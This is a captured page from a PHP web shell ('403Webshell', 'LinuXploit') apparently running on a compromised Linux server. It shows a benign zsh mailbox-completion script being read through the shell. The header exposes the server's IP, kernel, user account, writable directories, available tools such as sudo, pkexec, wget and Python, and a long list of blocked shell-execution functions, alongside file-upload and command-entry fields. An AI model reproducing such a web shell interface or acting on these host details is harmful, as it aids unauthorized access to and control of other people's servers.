403Webshell
Server IP : 103.119.228.120  /  Your IP : 3.142.255.23
Web Server : Apache
System : Linux v8.techscape8.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : nobody ( 99)
PHP Version : 5.6.40
Disable Function : shell_exec,symlink,system,exec,proc_get_status,proc_nice,proc_terminate,define_syslog_variables,syslog,openlog,closelog,escapeshellcmd,passthru,ocinum cols,ini_alter,leak,listen,chgrp,apache_note,apache_setenv,debugger_on,debugger_off,ftp_exec,dl,dll,myshellexec,proc_open,socket_bind,proc_close,escapeshellarg,parse_ini_filepopen,fpassthru,exec,passthru,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,popen,show_source,proc_nice,proc_terminate,proc_get_status,proc_close,pfsockopen,leak,apache_child_terminate,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,dl,symlink,shell_exec,system,dl,passthru,escapeshellarg,escapeshellcmd,myshellexec,c99_buff_prepare,c99_sess_put,fpassthru,getdisfunc,fx29exec,fx29exec2,is_windows,disp_freespace,fx29sh_getupdate,fx29_buff_prepare,fx29_sess_put,fx29shexit,fx29fsearch,fx29ftpbrutecheck,fx29sh_tools,fx29sh_about,milw0rm,imagez,sh_name,myshellexec,checkproxyhost,dosyayicek,c99_buff_prepare,c99_sess_put,c99getsource,c99sh_getupdate,c99fsearch,c99shexit,view_perms,posix_getpwuid,posix_getgrgid,posix_kill,parse_perms,parsesort,view_perms_color,set_encoder_input,ls_setcheckboxall,ls_reverse_all,rsg_read,rsg_glob,selfURL,dispsecinfo,unix2DosTime,addFile,system,get_users,view_size,DirFiles,DirFilesWide,DirPrintHTMLHeaders,GetFilesTotal,GetTitles,GetTimeTotal,GetMatchesCount,GetFileMatchesCount,GetResultFiles,fs_copy_dir,fs_copy_obj,fs_move_dir,fs_move_obj,fs_rmdir,SearchText,getmicrotime
MySQL : ON |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /usr/share/zsh/5.0.2/functions/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/share/zsh/5.0.2/functions/_mailboxes
#autoload

_mailboxes() {
  #emulate -L zsh
  local expl ret=1
  local maildirectory pinedirectory
  zstyle -s ":completion:${curcontext}:" mail-directory maildirectory || maildirectory="~/Mail"
  zstyle -s ":completion:${curcontext}:" pine-directory pinedirectory

  if (( ! $+_mailbox_cache )) then
    _mailbox_cache "$@"
  fi

  case "${curcontext}:" in
    (*:mail:*)
      if [[ "$PREFIX" == +* ]]; then
	_tags mailboxes
      else
        _tags mailboxes files
      fi;;
    (*:(mush|zmail|zmlite):*)
      if [[ "$PREFIX" == [%+]* ]]; then
	_tags mailboxes
      else
        _tags mailboxes files
      fi;;
    (*:mutt:*)
      if [[ "$PREFIX" == (|-f)[+=]* ]]; then
	_tags mailboxes
      else
        _tags mailboxes files
      fi;;
    (*:pine:*)
      # Files for pine must be absolute paths.
      if [[ "$PREFIX" == (|-f)[/\~]* ]]; then
        pinedirectory=''
        _tags mailboxes files
      else
        _tags mailboxes
      fi;;
    (*)
      if [[ "$PREFIX" == (|-f)+* ]]; then
	_tags mailboxes
      else
        _tags mailboxes files
      fi;;
  esac

  while _tags; do
    _requested mailboxes expl 'mailbox specification' _mua_mailboxes && ret=0

    if _requested files expl 'mailbox file'; then
      [[ "${curcontext}:" != *:(mail|mush|mutt|zmail|zmlite):* ]] &&
	compset -P -f
      _files "$expl[@]" && ret=0
    fi
    (( ret )) || return 0
  done

  return 1
}

_mailbox_cache () {
  local i j _mc_tmp
  local -aU dirboxes
  local maildirectory pinedirectory muttrc
  typeset -aU -g _mailbox_cache
  typeset -aU -g _maildir_cache _mbox_cache _mh_cache _mutt_cache _pine_cache

  zstyle -s ":completion:${curcontext}:" mail-directory maildirectory || maildirectory="~/Mail"
  zstyle -s ":completion:${curcontext}:" pine-directory pinedirectory
  zstyle -s ":completion:${curcontext}:" muttrc muttrc || muttrc="~/.muttrc"

  [[ -f ${~muttrc:-.} ]] &&
    _mc_tmp=${=${(M)${(f)"$(<${~muttrc})"}:#mailboxes *}#mailboxes *} &&
    _mutt_cache=( ${=${(Xe)_mc_tmp}} )

  _mbox_cache=( ${~maildirectory}/*(^/) )
  if [[ -n $pinedirectory ]]; then
    _pine_cache=( ${~pinedirectory}/**/*(.) )
  else
    _pine_cache=()
  fi

  dirboxes=( ${~maildirectory}/*(/) )

  while (( $#dirboxes )); do
    i=${dirboxes[1]}
    shift dirboxes
    if [[ -d "$i/cur" ]]; then
      _maildir_cache=( "${_maildir_cache[@]}" "$i" )
    elif j=( "$i"/<1-> ) && [[ -n "$j" ]]; then
      _mh_cache=( "${_mh_cache[@]}" "$i" )
      dirboxes=( $dirboxes "$i"/*(/) )
    else
      _mbox_cache=( "${_mbox_cache[@]}" "$i"/*(.) )
      dirboxes=( $dirboxes "$i"/*(/) )
    fi
  done

  [[ -n "$mailpath" ]] &&
      _mailbox_cache=( "${_mailbox_cache[@]}" "${(@)mailpath%%\?*}" )

  [[ -n "$MAIL" ]] && _mailbox_cache=( "${_mailbox_cache[@]}" $MAIL )
}

_mua_mailboxes() {
  local -a mbox_short
  local -aU mbox_names
  local ret=1

  local maildirectory pinedirectory
  zstyle -s ":completion:${curcontext}:" mail-directory maildirectory || maildirectory="~/Mail"
  zstyle -s ":completion:${curcontext}:" pine-directory pinedirectory

  case "${curcontext}:" in
    (*:elm:*) # I've probably got this wrong, or at least incomplete
      mbox_names=( "${_mbox_cache[@]}" "${_mailbox_cache[@]}" )
      mbox_short=( \! \< \> )
      ;;
    (*:mail:*)
      if compset -P +; then
        mbox_names=( "${(@)_mbox_cache#$~maildirectory/}" )
      else
        mbox_names=( +"${(@)^_mbox_cache#$~maildirectory/}"
		    "${_mailbox_cache[@]}" )
      fi
      ;;
    (*:mh:*)
      local lastmhbox=$(mhpath)
      if compset -P +; then
	mbox_names=( "${(@)_mh_cache#$~maildirectory/}" )
      elif compset -P @; then
	mbox_names=( "${(@)${(@M)_mh_cache:#$~lastmhbox/*}#$~lastmhbox/}" )
      else
	mbox_names=( +"${(@)^_mh_cache#$~maildirectory/}"
		     @"${(@)^${(@M)_mh_cache:#$~lastmhbox/*}#$~lastmhbox/}"
		     "${_mh_cache[@]}" )
      fi
      ;;
    (*:mush:*)
      if compset -P %; then
        mbox_short=( "${(@k)userdirs}" )
      elif compset -P +; then
        mbox_names=( "${(@)_mbox_cache#$~maildirectory/}" )
      else
        mbox_names=( +"${(@)^_mbox_cache#$~maildirectory/}"
		     "${_mailbox_cache[@]}" )
        mbox_short=( \& % %"${(@k)^userdirs}" )
      fi
      ;;
    (*:mutt:*)
      if compset -P '(|\\)='; then
        mbox_names=( "${_mutt_cache[@]#[+=]}" "${(@)_mbox_cache#$~maildirectory/}" "${(@)_maildir_cache#$~maildirectory/}" "${(@)_mh_cache#$~maildirectory/}")
      elif compset -P +; then
        mbox_names=( "${_mutt_cache[@]#[+=]}" "${(@)_mbox_cache#$~maildirectory/}" "${(@)_maildir_cache#$~maildirectory/}" "${(@)_mh_cache#$~maildirectory/}")
      else
      mbox_names=( "${_mutt_cache[@]}" "${_mailbox_cache[@]}"
		   "${_maildir_cache[@]}" "${_mh_cache[@]}" )
      mbox_short=( \! \< \> )
      fi
      ;;
    (*:pine:*)
      mbox_names=( "${_mbox_cache[@]}"
		   "${_mailbox_cache[@]}" "${_mh_cache[@]}" )
      # Pine is like mail but with no leading `+' to disambiguate;
      # any files not in $pinedirectory must be absolute paths.
      if [[ -n $pinedirectory ]]; then
	mbox_names+=( "${(@)_pine_cache#$~pinedirectory/}" )
      fi
      ;;
    (*:tkrat:*) # Has a couple of custom formats I haven't programmed for.
      mbox_names=( "${_mbox_cache[@]}"
		   "${_mailbox_cache[@]}" "${_mh_cache[@]}" )
      ;;
    (*:(zmail|zmlite):*)
      if compset -P %; then
        mbox_short=( "${(@k)userdirs}" )
      elif compset -P +; then
        mbox_names=( "${(@)_mbox_cache#$~maildirectory/}" )
      else
        mbox_names=( +"${(@)^_mbox_cache#$~maildirectory/}"
		     "${_mailbox_cache[@]}" "${_mh_cache[@]}" )
        mbox_short=( \& % %"${(@k)^userdirs}" )
      fi
      ;;
    (*) # Some other program wants mailbox names?  Use them all?
       mbox_names=( "${_mailbox_cache[@]}" "${_mbox_cache[@]}"
		    "${_mh_cache[@]}" "${_mutt_cache[@]}" "${_pine_cache[@]}" )
       ;;
  esac

  (( $#mbox_names )) && _multi_parts "$@" / mbox_names && ret=0
  (( $#mbox_short )) && compadd "$@" -a mbox_short && ret=0
  return ret
}

_mailboxes "$@"

Youez - 2016 - github.com/yon3zu
LinuXploit